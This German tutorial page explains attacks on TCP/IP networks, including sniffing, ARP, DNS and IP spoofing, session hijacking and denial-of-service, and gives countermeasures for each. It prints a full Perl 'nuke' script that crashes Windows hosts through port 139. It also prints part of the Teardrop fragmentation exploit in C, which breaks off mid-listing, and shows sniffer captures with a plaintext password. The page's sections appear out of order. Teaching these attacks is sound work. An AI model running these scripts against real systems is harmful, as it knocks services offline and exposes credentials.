<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> ... Connection closed by foreign host. Hier erfahren wir sehr viel. Der Apache-Server mit der Version 1.3.4 ist auch nicht der jüngste. Zudem wird uns mitgeteilt, daß es sich um das Betriebssystem Linux handelt (Distribution von SuSE). An den Versionsnummern des Perl- und PHP-Moduls könnte man sogar die Version der Distribution ermitteln. Wenn man jetzt weitere Ports abklappert (POP3, IMAP, Finger, usw.) und die CERT-Advisories durchsieht, findet man sicher etliche Angriffspunkte auf das System.

Der whois-Dienst liefert Informationen über Netzteilnehmer, sofern sich diese bei einem Whois-Server haben registrieren lassen. Das kann man über ein Formular, netinfo/user-template.txt auf nic.ddn.mil, machen, das dann an registar@nic.ddn.mil geschickt wird). Das Kommando lautet:

                                           whois Namensangabe
wenn der voreingestellte Server verwendet wird. Mit Serverangabe lautet das Kommando:
                                           whois -h Serverrechner Namensangabe
Man erhält dann alle Angaben aus der Datenbank, die zur Namensangabe passen. Als Namensangabe kann entweder ein Userpseudonym (Login-Name) oder der "echte" Name, eventuell als 'Nachname, Vorname', angegeben werden. Bei grafischen Benutzerschnittstellen erfolgt die Parameterangabe über Dialogfelder und nicht in der Kommandozeile. Als Whois-Server können Sie 'whois.nic.de' oder 'whois.internic.net' angeben.
Durch die Angabe 'do Rechnerdomain' können Infos über die entsprechende Domain eingeholt werden. Ebenso kann man sich mit 'host Rechnername' über einzelne Computer oder mit 'net Netzwerknummer' über Netze informieren.
Fehlt das Whois-Kommando, öffnet man eine Telnet-Verbindung zu nic.ddn.mil und gibt 'whois' nach dem Prompt ein. Auf den Prompt 'Whois:' hin kann man interaktive Anfragen absetzen (z. B. das 'help'-Kommando).

Über das Common Gateway Interface, also über CGI-Scripts, können Attacken gestartet werden. Normalerweise erlaubt ein CGI-Script dem Benutzer einer Website, interaktive Prozesse vom Browser auszulösen, z. B. auf eine Datenbank zuzugreifen oder ein Formular vom Server auswerten zu lassen. Die Sicherheitslücken bei CGI-Programmen entstehen durch Fehlkonfiguration der Serversoftware und durch Fehler im Script selbst. Dazu ist es nicht notwendig, daß das Script von Haus aus dazu angelegt ist Schaden anzurichten. Oft reicht eine fehlende Sicherheitsabfrage, die unabsichtlich oder aus Bequemlichkeit nicht eingebaut wurde. Deshalb sollten bei CGI-Programmen grundsätzlich alle Eingaben als "böse" betrachtet werden. Zu bedenken ist auch, daß der Angreifer nicht unbedingt das entworfene Formular ausfüllen muß. Er kann seine Eingaben für das CGI-Programm auch direkt in der URL-Zeile des Browsers tätigen.
Ein weiterer Angriffspunkt ist die die Speicherung unerwünschter Daten auf dem Server. Dazu ein Beispiel: Viele Webseiten bieten Gästebücher an, in die jeder etwas eintragen kann. Der Hacker trägt neben "normalem" Text auch HTML-Code, z. B. eine URL, ein Javascript-Programm oder eine Referenz auf ein Active-X-Control ein. Leser des Gästebuches erleiden durch diese Teile der Seite Schaden - oder werden auch nur beleidigt. Es gab den Fall, daß irgendwelche "Spaßvögel" im Gästebuch von McDonalds Links auf Porno-Sites hinterlassen haben.
Um auch bei Fehlern in den Skripts möglichst wenig Angriffsfläche zu bieten, darf der WWW-Server nur unter einer Benutzerkennung mit möglichst wenig Rechten laufen (z. B. "nobody"). Auch die CGI-Programme dürfen nur unter geringen Rechten laufen, niemals als Root-Programme. Alle CGI-Scripte gehören in ein spezielles Verzeichnis, etwa "serverhost/cgi-bin", in das nichts anderes kommt.

Auf Gefahren, die speziell die Anwenderseite betreffen, wird in diesem Kapitel eingegangen.

Überblick Bedrohungen/Gegenmaßnahmen

 BedrohungAngriffMaßnahme
ICMP Eindringen, Denial-of-Service Redirect, TTL-Exceeded, Destination Unreachable, Ping-of-Death Authentisierung, Filtern, auf Router abweisen, Overflow abfangen
TCP Eindringen, Maskerade, Denial-of-Service Hijacking, Asynchrone State, IP-Spoofing, SYN-Flooding Übernahme privilegierter Rechte verhindern, Überwachung, Verschlüsselung, Authentisierung,Signatur, IP-Spoofing verhindern
UDP Eindringen, Maskerade, Denial-of-Service UDP-Spoofing, Flooding, echo, Ausnutzen privilegierter Ports Schutz auf Applikationsebene, chargen und echo filtern, Antworten auf echo filtern, Portnummern kleiner 1024 filtern
DNS Maskerade, Denial-of-Service IP-Spoofing, Sniffing, Penetration des DNS-Caches Splitten der DNS-Server, Inverse DNS-Anfragen filtern, IP-Spoofing verhindern
ARP Maskerade, Umleiten Fälschen von ARP-Antworten ARP-Tabellen fixieren, ARP-Request auf Firewalls abblocken
RIP Maskerade, Umleiten Loose-Source-Routing, RIP-Spoofing Filtern von Loose-Source-Routing-Paketen, Statisches Routen
SNMP Maskerade, Eindringen Abhören der Community-Strings Filtern, Verschlüsselung, nicht über Firewall zulassen
NIS/NIS+ Maskerade, Eindringen Umleiten, Dateidiebstahl, Brute-Force-Attacke Filtern, starke Authentisierung nicht über Firewall zulassen
FTP Maskerade, Eindringen, Manipulation, Informationsdiebstahl FTP-Hijacking, cwd, cdup, retr, stor, dele, list, nlist, site, syst, port Anonymous FTP Filtern, Rechteverwaltung, port durch pasv ersetzen, Zugriff nur auf ausgewählte Daten erlauben


SUCHE MIT Google
Web virtualuniversity.ch
HOME DIDAKTIK ECDL ELEKTRONIK GUIDES HR MANAGEMENT MATHEMATIK SOFTWARE TELEKOM

DIENSTE
Anmeldung
Newsletter abonnieren
Sag's einem Freund!
VirtualUniversity als Startseite
Zu den Favoriten hinzufügen
Feedback Formular
e-Learning für Lehrer
Spenden
Autoren login
KURSE SUCHEN
Kurse veröffentlichen

Suche nach Datum:

Suche mit Schlüsselwort:

Suche nach Land:

Suche nach Kategorie:
PARTNER
ausbildung24.ch - Ausbildungsportal, Seminare, Kursen... 

 
HTMLopen.de - Alles was ein Webmaster braucht

 
PCopen.de - PC LAN Netze und Netzwerke - alles was ein IT Profi und Systemtechnicker braucht

TELEKOM

Angriffe über das Netz

TCP/IP wurde vor etwa 20 Jahren entwickelt. Es ist ein ungesichertes Netzwerkprotokoll und wurde ursprünglich zu akademischen Zwecken entworfen. Sicherheitsfragen waren kaum Bestandteil der Entwurfskriterien. Fehlertoleranzeigenschaften kollidieren mit Sicherheitsanforderungen.
Heute haben wir das Internet als weltweiter Rechnerverbund mit Millionen von Benutzern. Häufig sind alle Rechner einer Organisation an das Netz angeschlossen,auch die mit sensiblen Daten. Aus dem Netz gewonnene Informationen sind Grundlage für Unternehmensentscheidungen und Firmen pflegen Geschäftsbeziehungen via Internet.
Für Benutzer und Administratoren von Netzwerken oder Einzelrechnern mitInternetzugang wird es immer wichtiger, sich mit der Sicherheit ihrerRechner zu befassen. Die hier beschriebenen Sicherheitslücken und Angriffsmethoden bilden die Grundlage der meisten Attacken in heutigen TCP/IP-Netzwerken. Oft werden bei Angriffen mehrere der beschriebenen Methoden kombiniert.

Typische Angriffe nach Statistiken des CERT

JahrAngriffe
1988
  • Passwörter
  • bekannte Sicherheitslücken
1993
  • Protokollschwächen (rexd, tftpd)
  • Analyse von Quelldateien
  • ICMP-Angriffe
  • AnonFTP-Mißbrauch
1994
  • Internet-Sniffer
  • sendmail-Angriffe
  • Trojaner für Systemprogramme
  • groß angelegte Scans (z.B. Portnummern)
  • NFS-Angriffe
1995
  • IP-Spoofing für r-Kommandos
  • Angriffe auf WWW-Server (httpd)
1996
  • Denial-Of-Service-Angriffe (ECHO)
  • Lücken in Java und in Webbrowsers
  • DNS-Manipulationen
  • Analyse von SUID-Programmen
danach
  • TCP-Hijacking
  • Denial-Of-Service als Waffe
  • Internet-Commerce-Angriffe

Überblick über die Schichten der TCP/IP-Netzwerkprotokolle:

Application Layer
Schichten 5 - 7

WWW, E-Mail, etc.

Transport Layer
Schicht 4

TCP, UDP

Network Layer
Schicht 3

IP

Data Link Layer
Schichten 1 - 2

LLC, Hardwareinterface


Diese Schichten entsprechen in etwa dem OSI-Schichtenmodell, wobei hier allerdings immer mehrere Schichten des OSI-Modells zu einer Schicht zusammengefaßt wurden. Im Folgenden sollen nun die Sicherheitslücken in den einzelnen Schichten des Protokolls genauer betrachtet und die darauf basierenden Angriffsstrategien untersucht werden.

Security im Data Link und Network Layer

Sniffing

Wie schon weiter oben gezeigt, lassen sich Daten abhören. Im lokalen Netz gelangen die Datenpakete an alle Rechner. Normalerweise werden Daten, die nicht an einen bestimmmten Rechner adressiert sind, von diesem verworfen. Genau an dieser Stelle setzen die Sniffing-Attacken an. Statt die fremden Daten zu verwerfen, kann man diese Daten speichern und eventuell weiter verwenden. So ist es z.B. möglich durch einen entsprechenden Filter eine komplette Verbindung zu protokollieren. Auf diese Weise kann ein Angreifer auch an Passwörter gelangen, wenn diese unverschlüsselt über das Netzwerk übertragen werden.
Das gilt natürlich auch für IP-Verbindungen. Bei vielen Betriebssystemen gehören entsprechende Programme zum Lieferumfang, da sie für den Test und die Fehlersuche in Netzen notwendig sind (z. B. tcpdump). Da auch die Paßworte beim Telnet- oder FTP-Login im Klartext weitergegeben werden, besteht die Möglichkeit, daß jemand an diese Information kommt.
Zum "Erschnuppern" der Daten dienen Programme, die man "Sniffer" nennt. Eigenschaften:
  • Abhören des Netzwerkverkehrs.
  • Einsatz des "Promiscous-Mode" der Netzwerkkarten um alle Pakete zu empfangen.
  • Meist Filterung bestimmter Adressen und Ports möglich.
  • Speicherung der abgehörten Daten auf Platte oder Weiterverarbeitung mit externen Filtern und Programmen möglich.
Sie dienen den "bad guys" zum
  • Abhören aller unchiffrierten Verbindungen.
  • Ausspähen von Passwörtern.
  • Mitlesen der Post an einen bestimmten Rechner
Bekannte Vertreter sind "SniffIt", "Etherload", "Netman", "LinkView" oder "LANWatch". Es folgen nun Beispiele für den Einsatz von Sniffern:

Abhören von Passwörtern
Im Beispiel loggt sich ein Benutzer mit dem Namen testuser und dem Paßwort geheim ein.

                                       $ ./sniffit -p 23 -A . -t lx1-lbs 
                                       
                                       ........... ..!.."..'.....#..%....P......$.. .9600,9600....#.lx2-lbs:0.0....'..
                                       PRINTER.lp.DISPLAY.lx2-lbs:0.0......XTERM........testuser..geheim..
                                       
Auch in diesem Fall verschafft Verschlüsselung Abhilfe. Die gleiche Session, aber mit Einsatz der Secure Shell:
                                       SSH-1.5-1.2.26.....................K2...i....i#..B......;....?.H..v.{v5K.^....{
                                       .t5.4.I..]....6VH..uN.p..E.u.....j.U&.\..N~...%kI.,....q..s..V.....(m...2.u...!
                                       rL/......R.d......'.....1"#.$[. ..6.W.........g.v.j..e%.1..2..v.....#.....*..r.
                                       ......0xM....1..q..O.....pS@.._=.......$...ZJ...N&x..[..........L.........k...v
                                       4.......v...}...fXI...Np7.....=$...%.s...iW".....$ID..g..i.
                                       

Mitlesen der Mail
Im folgenden Beispiel wird der komplette Mailverkehr eines Rechners (Port 25) namens lx1-lbs abgehört. Das ist von jedem beliebigen Rechner möglich, an dem der Datenstrom vorbeiläuft.

                                       $ ./sniffit -p25 -t lx1-lbs
                                       
                                       EHLO lx2-lbs.e-technik.fh-muenchen.de
                                       MAIL From:<holzmann@lx3-lbs.e-technik.fh-muenchen.de> SIZE=299
                                       RCPT To:<testuser@lx1-lbs.e-technik.fh-muenchen.de>
                                       DATA
                                       Received: from localhost (localhost [[UNIX: localhost]])
                                       	by lx2-lbs.e-technik.fh-muenchen.de (8.9.3/8.9.3) id OAA01804
                                       	for testuser@lx1-lbs.e-technik.fh-muenchen.de; Fri, 8 Oct 1999 14:11:12 +0200
                                       From: Joerg Holzmann <holzmann@e-technik.fh-muenchen.de>
                                       To: testuser@lx1-lbs.e-technik.fh-muenchen.de
                                       Subject: Testmail
                                       Date: Fri, 8 Oct 1999 14:07:04 +0200
                                       X-Mailer: KMail [version 1.0.21]
                                       Content-Type: text/plain
                                       MIME-Version: 1.0
                                       Message-Id: <99100814111100.01802@lx2-lbs>
                                       Content-Transfer-Encoding: 8bit
                                       
                                       Hallo lieber Testuser,
                                       
                                       Vielen Dank fuer Ihren Beitrag zu unserem Sicherheitsforum. 
                                       Wir werden Ihren Artikel in der neuen Ausgabe der FHM-Hackerpost
                                       veroeffentlichen.
                                       
Abhilfe schaffen hier beispielsweise kryptographische Verfahren und Methoden.

ARP-Spoofing

Das ARP-Spoofing setzt auf dem ARP-Protokoll (ARP=Address-Resolution-Protocoll) auf und nutzt dabei aus, daß beim dynamischen Routing die Umsetzungstabellen von IP-Adressen auf die entsprechenden Hardwareadressen in bestimmten Abständen aktualisiert werden. Dynamische ARP Routen werden regelmäßig (nach einem bestimmten Zeitintervall) verworfen und der Rechner fordert von seinem Kommunikationspartner eine Bestätigung seiner IP- und Hardwareadresse an. An genau dieser Stelle setzt nun ein Angreifer an. In der Regel wird nun der Rechner, dessen Platz der Angreifer einnehmen will ausgeschaltet (dies kann z. B. durch einen der später beschriebenen "Denial-of-Service" Angriff geschehen), so daß er keine Anfragen mehr beantworten kann. Anschließend wird auf einen ARP request des "Opfers" gewartet. Da der eigentlich angesprochene Rechner keine Antwort senden kann, ist es dem Angreifer nun möglich einen gefälschten ARP reply an das "Opfer" zu schicken. Dieser trägt die falsche Adresse in seine ARP-Queue ein und verschickt alle folgenden Nachrichten statt an den eigentlichen Zielrechner an den Rechner des Angreifers.

Security im Transport- und Network-Layer

ICMP-Tunneling

Alle ICMP-Messages besitzen ein Datenfeld, dessen Bedeutung nicht festgelegt ist und das im Normalfall nicht benutzt wird. Damit bietet sich die Möglichkeit Informationen über ICMP-Messages zu verschicken, falls kein anderer Dienst dafür zur Verfügung steht. Es ist damit also möglich, Nachrichten aus einem Netzwerk, das z.B. hinter einem Firewall steht, "herauszuschmuggeln". Eine besondere Gefahr stellt das ICMP-Tunneling dar, weil ICMP oft als harmlos eingestuft wird und Firewalls die Pakete ungefiltert passieren lassen.

ICMP-Steuernachrichten lassen sich auch noch für andere Angriffe nutzen:

  • Funktionsfähigkeit des Netzwerks beeinträchtigen ("ping of death")
  • Vermittlungspfade verändern
  • "fragmentation needed": Aufforderung, Daten stärker zu fragmentieren, dadurch entstehen kleinere und vor allem mehr Pakete. Die Netzlast nimmt z.T. erheblich zu, und es kann zu Überlast kommen
  • "ICMP-redirect": Änderung von Vermittlungswegen von Rechnern im Netz, was zu Zusammenbrüchen im Netz führen kann

IP-Spoofing

Beim IP Spoofing wird die ungenügende Überprüfung des Kommunikationspartners unter TCP/IP ausgenutzt, um mit gefälschten IP-Adressen einem Rechner Informationen unterzuschieben. Oft werden diese Attacken benutzt, um falsche Routing-Informationen an ein System weiterzugeben. Aber auch bei einzelnen Verbindungen kann das Fälschen von IP-Adressen Anwendung finden, wie dies im nächsten Abschnitt beim Hijacking der Fall ist. Es sollen nun einige Möglichkeiten besprochen werden, die sich durch das IP Spoofing ergeben. Eine komplette Aufführung ist an dieser Stelle nicht möglich, da diese Gruppe von Security Attacks sehr umfangreich ist.

In einem LAN kommuniziert Arbeitsplatz A mit Arbeitsplatz B. Ein Angreifer (E) verwendet die Adresse von A und schleust Pakete ins LAN. Damit übernimmt er die Kommunikation E zu B. Das Problem sind die fehlende Authentizität von IP-Paketen und die Einschleusung zusätzlicher Pakete von außen durch die Fälschung von IP-Sendeadressen.

Route-Spoofing

Dabei werden falsche Routing-Informationen an Router weitergegeben, um eine Umleitung von Verbindungen auf den Agriffsrechner zu erreichen. Es existieren mehrere Ansatzmöglichkeiten, um eine solche Attacke durchzuführen. Im folgenden werden zwei dieser Möglichkeiten genauer beschrieben.
  • RIP-Route-Spoofing
    Das Routing Information Protocol (RIP) wird verwendet, um (dynamische) Routing-Informationen in lokalen Netzwerken zu verbreiten. Es bietet damit aber einem Angreifer die Möglichkeit falsche Routing-Information an einen Rechner (und alle Gateways auf der Route dorthin) zu versenden. Diese Informationen werden in der Regel ungeprüft übernommen. Damit ist es dem Angreifer möglich, einem Rechner falsche Routing-Informationen zu übergeben und so die Verbindungen auf den Rechner des Angreifers umzuleiten.
  • ICMP-Route-Spoofing
    Bei dieser Art des Angriffs wird ausgenutzt, über die Meldung ICMP redirect Routing-Informationen an den Absender eines IP-Pakets zu übermitteln. Ein Angreifer kann dies nutzen, das Routing auf seinem eigenen Rechner umzuleiten. Verwendet ein Rechner eine solche Nachricht als neue Routing-Information, so führt dies dazu, daß seine Informationen über den Rechner des Angreifers geroutet werden.

DNS Spoofing

Die im Internet übliche Umsetzung von Hostnamen in IP-Adressen über das Domain Name System (DNS) bietet eine weitere Möglichkeit falsche IP-Adressen an einen Rechner weiterzugeben. Damit ist beispielsweise folgende Attacke möglich:

Die falsche Nachricht, daß www.microsoft.com die Adresse 129.187.244.3 hat, wird vom Opfer-DNS ohne jegliche Prüfung übernommen. Es bieten sich weitere Möglichkeiten an:

  • Übernahme des DNS-Servers
    Eine Möglichkeit hierbei ist es, die Position eines existierenden Nameservers komplett zu übernehmen. Dabei finden in der Regel "Denial Of Service"-Angriffe Anwendung, um den richtigen Nameserver lahmzulegen. Der Angreifer übernimmt dann die Funktion dieses Rechners und liefert falsche Informationen.
  • Resolve Attacks
    In einigen Implementierungen ist es möglich, wenn ein Benutzer eine Verbindung zu einem System aufbaut, eine Domain Server Response an den entsprechenden Rechner zu senden. Dieser trägt sie in seine eigene Queue ein und benutzt so im folgenden die falsche IP-Adresse für seine Verbindung. Für diese Art des Angriffs sind allerdings Kenntnisse über den Port, den der Client für seinen Resolver Service benutzt, und die DNS-Sequenznummer (ISN) nötig. Diese sind aber oft leicht zu erhalten, z. B. über netstat.
Diese Art des Angriffs wird zum Beispiel verwendet, um Hompages zu "entführen". Dabei wird meist nur ein Eintrag im DNS "gefälscht", wodurch alle Benutzer, die den Hostnamen statt dessen IP-Adresse verwenden, auf einen falschen Server geführt werden.

Hijacking

Hijacking stellt eine Kombination der Sniffing- und Spoofing-Angriffe dar. Dabei werden bestehende Verbindungen zwischen zwei Rechnern "entführt", d. h. der Angreifer übernimmt die Stelle eines der Kommunikationspartner. Da bei einer solchen Übernahme keine Authentifizierung des Benutzers mehr durchgeführt wird, kann ein Angreifer großen Schaden anrichten.

TCP-Hijacking

Bei der Kommunikation vom Arbeitsplatz (A) mit dem Server (S) hört der Angreifer (E) mit, schaltet sich mit der Adresse von A ein und übernimmt die Sitzung von A. Das Problem ist die fehlende Authentizität und Integrität der IP-Pakete.
Beispiel: TELNET-Sitzung

Denial of Service-Attacks

Diese Gruppe von Angriffsstrategien dient dem Lahmlegen eines Rechners oder einzelner Funktionen ("Denial of Service": "Verweigerung des Dienstes"). Dabei wird in der Regel ausgenutzt, daß die Resourcen (Speicher, Rechenzeit, interne Tabellen, etc.) auf einem Rechner nur in begrenztem Maße vorhanden sind. Ein Denial-of-Service-Angriff versucht, auf dem angegriffenen Rechner eine der Resourcen zu überlasten, so daß dieser seinen regulären Aufgaben nicht mehr nachkommen und seine Clients nicht mehr bedienen kann. Denial-of-Service Attacks stellen eine wichtige Gruppe von Angriffen dar, da sie oft als Vorstufe zu einem wesentlich weiterreichenden Angriff dienen. Für Spoofing-basierten Angriffe kann es unter Umständen von Nutzen sein, wenn ein bestimmter Rechner im Netz ausgefallen ist. Eines haben fast alle Attacken gemein: Sie nutzen die Löcher von fehlerhaft implementierten TCP/IP-Software und schlecht administrierten Netzwerken aus.

  • E-Mail-Bomben

    Einer der ältesten Denial of Service-Attacks ist das inzwischen "klassische" Mail-Bombing. Hierzu wird ein Empfänger mit einer Vielzahl von gleichlautenden E-Mails regelrecht bombadiert, so daß das nächste Herunterladen der vorhandenen E-Mails zur Qual werden dürfte. Die Ausführung erzeugt aber noch ein anderes Opfer:
    Eine Mailbombe besteht normalerweise aus einer einzigen E-Mail, die an einen SMTP-Mailserver zur Ausführung geschickt wird. Diese E-Mail hat jedoch die Besonderheit, daß sie die E-Mail-Adresse des Opfers gleich mehrmals als BCC-Empfänger enthält. Der ausführende Mailserver hat bei entsprechend hoher Angabe von BCC-Empfängern ebenfalls entsprechend genug zu tun, diese E-Mails zu generieren und zu versenden.
    Eine sehr unangenehme Variante des Mail-Bombings ist die Anmeldung eines Opfers bei Unmengen von Mailinglisten. Das Opfer muß sich nämlich nach so einer Attacke mühsam aus allen angemeldeten Listen manuell wieder austragen.

  • Broadcast Storms
    Broadcast Storms gehören ebenfalls schon zur älteren Generation von Denial of Service-Attacks. An jeden Rechner wird hier ein Strom von IP-Paketen geschickt, die allesamt an nichtexistierende Ziele adressiert sind. Wird dieser Datenstrom für mehrere Rechner innerhalb dieses Netzwerkes aufrechterhalten, ist das gesamte Netzwerk recht bald lahmgelegt, da die Rechner die falsch adressierten Daten über die Gateways immer wieder in andere Subnetze verschieben.

  • Smurf-Attacken
    Smurf-Attacken gehören zur Gruppe der Broadcast Storms, arbeiten aber auf eine etwas andere Weise. Bei einem Smurf-Angriff sendet der Angreifer extrem viele ICMP-Pakete (z.B. Ping-Anfragen) an die Broadcast-Adresse eines Netzwerks, so daß dieses Paket an jeden Rechner innerhalb des Netzwerks weitergeleitet wird. Der Angreifer tarnt sich jedoch mit der Adresse des eigentlichen Opfers. Die ICMP-Anfragen werden nun um die Anzahl der Rechner im Netzwerk vervielfacht, denn jeder beantwortet die ICMP-Anfrage. Die multiplizierten ICMP-Antworten an das Opfer belegen die gesamte Netzkapazität und normale Datenkommunikation wird unterbunden. Sehr häufig brechen auch die Server unter diesem Ansturm zusammen und müssen von ihren Administratoren vorübergehend vom Netz genommen werden. Die Angreifer selbst sind nur sehr schwer zu identifizieren, da sie sich als das Opfer tarnen.

  • Out of Band-Packets ("Nukes")
    Nahezu schon legendäre Denial of Service-Attacks sind die sogenannten "Nukes". Hierzu werden spezielle IP-Pakete, die ein besonderes Merkmal haben, an einen Rechner geschickt. Entsprechend ungesicherte Betriebssysteme (ungepatchte Versionen von Windows und Linux) quittieren den Empfang solcher Pakete mit dem völligen Systemstillstand. Inzwischen existieren für (fast) alle betroffenen Betriebssysteme geeignete Patches, die diesen Fehler eliminieren. Wie einfach das "nuken" war, zeigt folgendes Perl-Programm:
                                           #!/usr/bin/perl -w
                                           use strict;
                                           use Socket;
                                           use Net::Ping;
                                           require 5.004;
                                           
                                           my $host = shift;
                                           my $paddr = sockaddr_in(139, inet_aton($host));
                                           print "Der Computer $host wird heruntergefahren...\n";
                                           socket(NUKE, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or
                                           print "Klappt nicht: $!\n", return;
                                           connect(NUKE, $paddr) or print "Klappt nicht: $!\n";
                                           send(NUKE, "Heil Eris! Ewig Heil Discordia!", MSG_OOB );
                                           close(NUKE);
                                           if ($>)
                                             {
                                             print <<"MSG_END";
                                           
                                             OOB-Angriff erfolgreich. Da das Programm nicht mir root-Rechten
                                             laeuft, bitte mit ping(8) testen, ob $host noch läuft.
                                             MSG_END
                                             }
                                           else
                                             {
                                             sleep 3;
                                             my $ping = new Net::Ping('icmp');
                                             if ($ping->ping($host))
                                               {
                                               warn "Hmm... $host scheint noch zu laufen.\n";
                                               }
                                             else
                                               {
                                               print "Ich konnte den Computer jetzt ausschalten.\n"
                                               }
                                             }
                                           
    Out of Band-Packets bestehen aus einem speziellen UDP-Paket, daß gewöhnlich an den Port 139 (NetBIOS-Port) gesendet wird, da dieser standardmässig bei vielen Computern geöffnet ist. Prinzipiell funktioniert es aber auch mit allen anderen Ports, die für Datenempfang standardmässig geöffnet sind. Die Wirkungsweise liegt nun darin, daß ein entsprechend ungesichertes Betriebssystem mit Out of Band-Informationen nichts anfangen kann und in einer "panikartigen" Reaktion im ungünstigsten Fall die aktuelle Sitzung mit einem Systemabsturz beendet.

  • TCP Syn Flooding ("Land Attacks")
    Hier wird das Drei-Wege-Handshaking von TCP benutzt, um "halboffene Verbindungen" herzustellen. Da TCP ein verbindungsorientiertes Übertragungsprotokoll ist, gibt es Mechanismen, um eine Verbindung zu synchronisieren. Dies wird über das erwähnte Drei-Wege-Handshaking von TCP erledigt.

    Dabei gibt es, wie der Name schon ahnen läßt, drei Schritte, die durchgeführt werden:

    1. Der Client sendet eine Synchronisationsnachricht (SYN) an den Server
    2. Der Server antwortet mit einem entsprechenden Acknoledgement (ACK/SYN)
    3. Darauf sendet der Client sein Acknoledgement (ACK) an den Server

    Mit diesen drei Schritten ist das Handshaking abgeschlossen. Nach Schritt 2 befindet sich auf dem Server ein Eintrag für die Verbindung, der bestehen bleiben muß, bis der Client seine Antwort gesendet hat. Eine Verbindung in diesem Stadium nennt man halboffen. Ein SYN-Attack nutzt nun die Tatsache aus, daß der Server dafür Speicher reservieren muß, bis er eine Antwort erhält. Wird diese Antwort allerdings nie gesendet, dann bleibt der Speicher dauerhaft belegt. Erzeugt ein Angreifer eine größere Menge dieser halboffenen Verbindungen, so ist abzusehen, daß der Server bald an seinem Speicherlimit angekommen ist. An dieser Stelle ist es dem Server nun nicht mehr möglich eine weitere TCP-Verbindung aufzubauen.
    Das interessante an der "Land"-Attacke war, daß auch Cisco-Router, die an sehr vielen zentralen Stellen des Netzes stehen, davon betroffen waren.

  • Large Packet-Attacks ("Ping of Death")
    Ein weiterer, besonders hinterhältiger Veteran der Denial of Service-Attacks sind die "Large Packet-Attacks", unter Insidern "Ping of Death" genannt (obwohl die Attacke nichts mit dem eigentlichen Ping-Programm zu tun hat). Die Wirkungsweise von Large Packet-Attacks ist einfach und fatal: Das IP-Protokoll verpackt alle Daten beim Absender in bis zu 64 KByte grosse Pakete. Diese werden jedoch protokollintern vor der Übertragung abhängig vom Übertragungsmedium in kleinere Päckchen zerlegt (Fragmentierung). Beim Empfängerrechner werden diese einzelnen Päckchen wieder zusammengefügt (reassemblieren), allerdings erst, wenn alle Einzelteile vorliegen. Ist das ankommende Paket am Ende grösser als 64 kB, läuft ein interner Speicherpuffer über und bringt im ungünstigsten Fall den Rechner zum Absturz. Natürlich kann man diesen Angriff nicht nur mit ICMP und Ping machen, sondern auch mit TCP und UDP. Der Phantasie sind keine Grenzen gesetzt.
    Wie erzeugt man nun diese übergroßen Ping-Pakete? Ein ordentlicher Ping Befehl sollte keine Pakete größer als 65507 Bytes zulassen. (65535 - 20 IP-Header - 8 ICMP-Header). Wo fand man am ehesten einen unordentlichen Ping-Befehl? Richtig, in den Betriebsystemen der Firma Microsoft (Windows 95/98).

  • Teardrop
    Teardrop ist dem Ping of Death nicht unähnlich, da es sich auch die Fragmentierung von IP-Paketen zu nutze machte. Diesmal wird allerdings nicht mittels Fragmentierung ein zu großes Paket erzeugt, sondern die Fragmente werden so erzeugt, daß sie "überlappen", was die TCP-Software aus dem Tritt bringt. Nachdem heute kaum noch ein Rechner auf Teardrop reagiert, kann auch ruhig mal das Programmlisting gezeigt werden:
                                           #include <stdio.h>
                                           #include <stdlib.h>
                                           #include <unistd.h>
                                           #include <string.h>
                                           #include <netdb.h>
                                           #include <netinet/in.h>
                                           #include <netinet/udp.h>
                                           #include <arpa/inet.h>
                                           #include <sys/types.h>
                                           #include <sys/time.h>
                                           #include <sys/socket.h>
                                           
                                           #ifdef STRANGE_BSD_BYTE_ORDERING_THING
                                                  /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
                                           #define FIX(n)  (n)
                                           #else  /* OpenBSD 2.1, all Linux */
                                           #define FIX(n)  htons(n)
                                           #endif /* STRANGE_BSD_BYTE_ORDERING_THING */
                                           
                                           #define IP_MF   0x2000  /* More IP fragment en route */
                                           #define IPH     0x14    /* IP header size */
                                           #define UDPH    0x8     /* UDP header size */
                                           #define PADDING 0x1c    /* datagram frame padding for first packet */
                                           #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
                                           #define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
                                                                    * withstand maybe 5 or 10 sometimes...  Experiment.
                                                                    */
                                           void usage(u_char *);
                                           u_long name_resolve(u_char *);
                                           u_short in_cksum(u_short *, int);
                                           void send_frags(int, u_long, u_long, u_short, u_short);
                                           
                                           int main(int argc, char **argv)
                                           {
                                               int one = 1, count = 0, i, rip_sock;
                                               u_long  src_ip = 0, dst_ip = 0;
                                               u_short src_prt = 0, dst_prt = 0;
                                               struct in_addr addr;
                                           
                                               fprintf(stderr, "teardrop   route|daemon9\n\n");
                                           
                                               if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
                                               {
                                                   perror("raw socket");
                                                   exit(1);
                                               }
                                               if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
                                                   < 0)
                                               {
                                                   perror("IP_HDRINCL");
                                                   exit(1);
                                               }
                                               if (argc < 3) usage(argv[0]);
                                               if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
                                               {
                                                   fprintf(stderr, "What the hell kind of IP address is that?\n");
                                                   exit(1);
                                               }
                                           
                                               while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
                                               {
                                                   switch (i)
                                                   {
                                                       case 's':               /* source port (should be emphemeral) */
                                                           src_prt = (u_short)atoi(optarg);
                                                           break;
                                                       case 't':               /* dest port (DNS, anyone?) */
                                                           dst_prt = (u_short)atoi(optarg);
                                                           break;
                                                       case 'n':               /* number to send */
                                                           count   = atoi(optarg);
                                                           break;
                                                       default :
                                                           usage(argv[0]);
                                                           break;              /* NOTREACHED */
                                                   }
                                               }
                                               srandom((unsigned)(time((time_t)0)));
                                               if (!src_prt) src_prt = (random() % 0xffff);
                                               if (!dst_prt) dst_prt = (random() % 0xffff);
                                               if (!count)   count   = COUNT;
                                           
                                               fprintf(stderr, "Death on flaxen wings:\n");
                                               addr.s_addr = src_ip;
                                               fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
                                               addr.s_addr = dst_ip;
                                               fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
                                               fprintf(stderr, " Amt: %5d\n", count);
                                               fprintf(stderr, "[ ");
                                           
                                               for (i = 0; i < count; i++)
                                               {
